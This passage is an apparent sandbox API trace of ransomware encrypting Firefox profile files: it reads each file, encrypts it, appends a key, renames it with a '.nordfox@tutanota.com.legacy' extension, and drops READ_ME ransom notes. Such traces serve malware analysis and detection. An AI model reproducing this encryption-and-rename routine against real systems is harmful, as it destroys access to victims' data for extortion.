"c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700422.8c4e2942-e5f4-4855-97dc-f61d51d3c336.main.jsonlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0200.495] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0200.495] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4", dwFileAttributes=0x80) returned 1 [0200.496] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c50 [0200.496] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3036) returned 1 [0200.496] ReadFile (in: hFile=0x1c50, lpBuffer=0x3562008, nNumberOfBytesToRead=0xbdc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesRead=0x2e1f9bc*=0xbdc, lpOverlapped=0x0) returned 1 [0200.513] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=-3036, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.513] WriteFile (in: hFile=0x1c50, lpBuffer=0x30ca018*, nNumberOfBytesToWrite=0xbdc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ca018*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbdc, lpOverlapped=0x0) returned 1 [0200.514] SetFilePointer (in: hFile=0x1c50, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbdc [0200.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.514] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.514] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.514] WriteFile (in: hFile=0x1c50, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.514] CloseHandle (hObject=0x1c50) returned 1 [0200.515] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782700362.8d7a0e36-bec8-411d-a84e-102fe642b34c.new-profile.jsonlz4.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.517] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x821eb3b, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4f70 [0200.517] SetLastError (dwErrCode=0x0) [0200.518] SetLastError (dwErrCode=0x0) [0200.518] GetLastError () returned 0x0 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x821eb3b, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] SetLastError (dwErrCode=0x0) [0200.518] GetLastError () returned 0x0 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c41d5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] SetLastError (dwErrCode=0x0) [0200.518] GetLastError () returned 0x0 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2409b53, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2409b53, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x240aee0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".metadata-v2", cAlternateFileName="METADA~2")) returned 1 [0200.518] SetLastError (dwErrCode=0x0) [0200.518] SetLastError (dwErrCode=0x0) [0200.518] GetLastError () returned 0x0 [0200.519] SetLastError (dwErrCode=0x0) [0200.519] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x7d09b9f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xeffbe54, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="idb", cAlternateFileName="")) returned 1 [0200.519] SetLastError (dwErrCode=0x0) [0200.519] SetLastError (dwErrCode=0x0) [0200.519] GetLastError () returned 0x0 [0200.519] SetLastError (dwErrCode=0x0) [0200.519] SetLastError (dwErrCode=0x0) [0200.519] GetLastError () returned 0x0 [0200.519] SetLastError (dwErrCode=0x0) [0200.519] GetLastError () returned 0x0 [0200.519] SetLastError (dwErrCode=0x0) [0200.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c54 [0200.526] WriteFile (in: hFile=0x1c54, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.527] CloseHandle (hObject=0x1c54) returned 1 [0200.527] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821eb3b, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x821eb3b, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x821eb3b, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.527] SetLastError (dwErrCode=0x0) [0200.527] SetLastError (dwErrCode=0x0) [0200.527] GetLastError () returned 0x0 [0200.527] SetLastError (dwErrCode=0x0) [0200.528] FindNextFileW (in: hFindFile=0x30d4f70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821eb3b, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x821eb3b, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x821eb3b, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.528] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2", dwFileAttributes=0x80) returned 1 [0200.528] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c54 [0200.529] GetFileSizeEx (in: hFile=0x1c54, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42) returned 1 [0200.529] ReadFile (in: hFile=0x1c54, lpBuffer=0x574860, nNumberOfBytesToRead=0x2a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x574860*, lpNumberOfBytesRead=0x2e1f9bc*=0x2a, lpOverlapped=0x0) returned 1 [0200.529] SetFilePointer (in: hFile=0x1c54, lDistanceToMove=-42, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.529] WriteFile (in: hFile=0x1c54, lpBuffer=0x574b38*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x574b38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2a, lpOverlapped=0x0) returned 1 [0200.530] SetFilePointer (in: hFile=0x1c54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2a [0200.530] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.530] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.530] WriteFile (in: hFile=0x1c54, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.530] WriteFile (in: hFile=0x1c54, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.530] CloseHandle (hObject=0x1c54) returned 1 [0200.530] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata-v2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.532] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0200.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata", dwFileAttributes=0x80) returned 1 [0200.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c54 [0200.532] GetFileSizeEx (in: hFile=0x1c54, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=29) returned 1 [0200.533] ReadFile (in: hFile=0x1c54, lpBuffer=0x2f63480, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f63480*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d, lpOverlapped=0x0) returned 1 [0200.533] SetFilePointer (in: hFile=0x1c54, lDistanceToMove=-29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.534] WriteFile (in: hFile=0x1c54, lpBuffer=0x2f63340*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f63340*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1d, lpOverlapped=0x0) returned 1 [0200.534] SetFilePointer (in: hFile=0x1c54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1d [0200.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.534] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.534] WriteFile (in: hFile=0x1c54, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.534] WriteFile (in: hFile=0x1c54, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.534] CloseHandle (hObject=0x1c54) returned 1 [0200.538] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\.metadata.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.542] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea601c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8244d14, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4d70 [0200.542] SetLastError (dwErrCode=0x0) [0200.542] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea601c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8244d14, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41de9f5b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41de9f5b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de9f5b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".metadata", cAlternateFileName="METADA~1")) returned 1 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41e667ed, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41e667ed, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41e667ed, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x3b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".metadata-v2", cAlternateFileName="METADA~2")) returned 1 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.543] SetLastError (dwErrCode=0x0) [0200.543] GetLastError () returned 0x0 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="idb", cAlternateFileName="")) returned 1 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] GetLastError () returned 0x0 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] GetLastError () returned 0x0 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] SetLastError (dwErrCode=0x0) [0200.544] GetLastError () returned 0x0 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] GetLastError () returned 0x0 [0200.544] SetLastError (dwErrCode=0x0) [0200.544] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c58 [0200.578] WriteFile (in: hFile=0x1c58, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.579] CloseHandle (hObject=0x1c58) returned 1 [0200.579] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821eb3b, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x821eb3b, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x8244d14, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.579] SetLastError (dwErrCode=0x0) [0200.579] GetLastError () returned 0x0 [0200.579] SetLastError (dwErrCode=0x0) [0200.579] GetLastError () returned 0x0 [0200.579] SetLastError (dwErrCode=0x0) [0200.579] FindNextFileW (in: hFindFile=0x30d4d70, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x821eb3b, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x821eb3b, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x8244d14, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0200.580] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.580] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2", dwFileAttributes=0x80) returned 1 [0200.580] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c58 [0200.580] GetFileSizeEx (in: hFile=0x1c58, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=59) returned 1 [0200.581] ReadFile (in: hFile=0x1c58, lpBuffer=0x553b80, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x553b80*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b, lpOverlapped=0x0) returned 1 [0200.581] SetFilePointer (in: hFile=0x1c58, lDistanceToMove=-59, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.581] WriteFile (in: hFile=0x1c58, lpBuffer=0x5538b0*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5538b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b, lpOverlapped=0x0) returned 1 [0200.581] SetFilePointer (in: hFile=0x1c58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) 